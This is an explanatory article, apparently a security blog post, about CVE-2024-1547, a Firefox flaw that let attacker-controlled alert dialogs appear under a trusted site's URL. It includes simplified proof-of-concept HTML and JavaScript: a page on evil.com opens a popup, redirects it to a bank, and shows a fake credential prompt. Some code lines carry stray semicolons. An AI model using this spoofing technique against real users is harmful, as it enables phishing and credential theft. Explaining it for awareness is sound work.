CVE-2024-1547 - How Attackers Exploited Alert Dialogs in Firefox to Fool Users

In February 2024, Mozilla fixed an intriguing vulnerability: CVE-2024-1547. If you used Firefox, Firefox ESR, or Thunderbird before their February 2024 updates, your browser had a weakness. An attacker could have tricked users by popping up deceptive alert dialogs that seemed to come from trusted websites. In this article, we'll break down how the exploit worked, why it's dangerous, and how attackers could use simple code to trick even cautious users.

What is CVE-2024-1547?

According to the Mozilla Foundation Security Advisory 2024-11:

> Through a series of API calls and redirects, an attacker-controlled alert dialog could have been displayed on another website (with the victim website's URL shown).

In simple words: attackers could display JavaScript alert() dialogs that looked like they came from PayPal, your bank, or any trusted site—while they controlled what the dialog said. This could be used to phish sensitive information or spook users.

The attacker controls a website.

2. The attacker redirects the visitor to a trusted site, but opens a new window or manipulates the browser history.
3. Through crafty API calls and timing, the attacker triggers an alert() while the browser still shows the trusted website’s URL in the address bar.
4. The user thinks the alert is from the legitimate site, but it's actually from the attacker's code.

This chain could be used for phishing or delivering malware.

The Setup

Assume the attacker controls evil.com. Their goal: show a fake alert that appears to come from examplebank.com.

The Exploit Flow

<!-- Attacker's evil.com/attack.html -->
<!DOCTYPE html>
<html>
  <body>
    <script>
      // Open a popup to the attacker's own site
      let popup = window.open('https://evil.com/step2.html';, '_blank', 'noopener');

      // After a short delay, redirect the popup to the trusted target
      setTimeout(() => {
        popup.location = 'https://examplebank.com/';;
      }, 500); // Wait just enough time for popup to initialize
    </script>
  </body>
</html>

<!-- evil.com/step2.html -->
<!DOCTYPE html>
<html>
  <body>
    <script>
      // Wait for address bar to update, then trigger the alert
      setTimeout(() => {
        alert("Security update required! Please enter your credentials.");
      }, 100);
    </script>
  </body>
</html>

The user thinks this alert is legitimate.

#### This sequence is simplified. Skilled attackers could fine-tune timings and browser behaviors for more reliability.

Phishing: Users trust alerts from real sites, especially if the browser URL matches.

- Brand Damage: Malicious or fake warnings seem to come from banks/shopping sites.

Real-World Attack Scenario

Imagine you're banking at examplebank.com. Suddenly, an alert pops up:
> "Your session has expired. Please re-enter your password."

If you see the right URL and no other strange indicators, you might actually trust it.

Protection: How Mozilla Fixed It

The fix (see Mozilla bug report) improved the timing and restrictions on when browsers show JavaScript dialogs, and which site gets credit in the alert box.

References

- Mozilla Foundation Security Advisory 2024-11
- Bugzilla report for CVE-2024-1547
- CVE record at NVD
- Firefox Security Updates Page

Conclusion

CVE-2024-1547 is a reminder that even simple browser features can have dangerous side effects if abused. The window and alert APIs seem harmless—until timing tricks let hackers forge trust.

If you haven't already, update your browser now! And remember: don’t trust every alert dialog just because the URL looks legit. When in doubt, refresh the page or close the browser and open the site manually.

*Stay safe online. Share this post to help others understand these subtle but powerful browser attacks!*

Timeline

Published on: 02/20/2024 14:15:08 UTC
Last modified on: 12/10/2024 15:22:44 UTC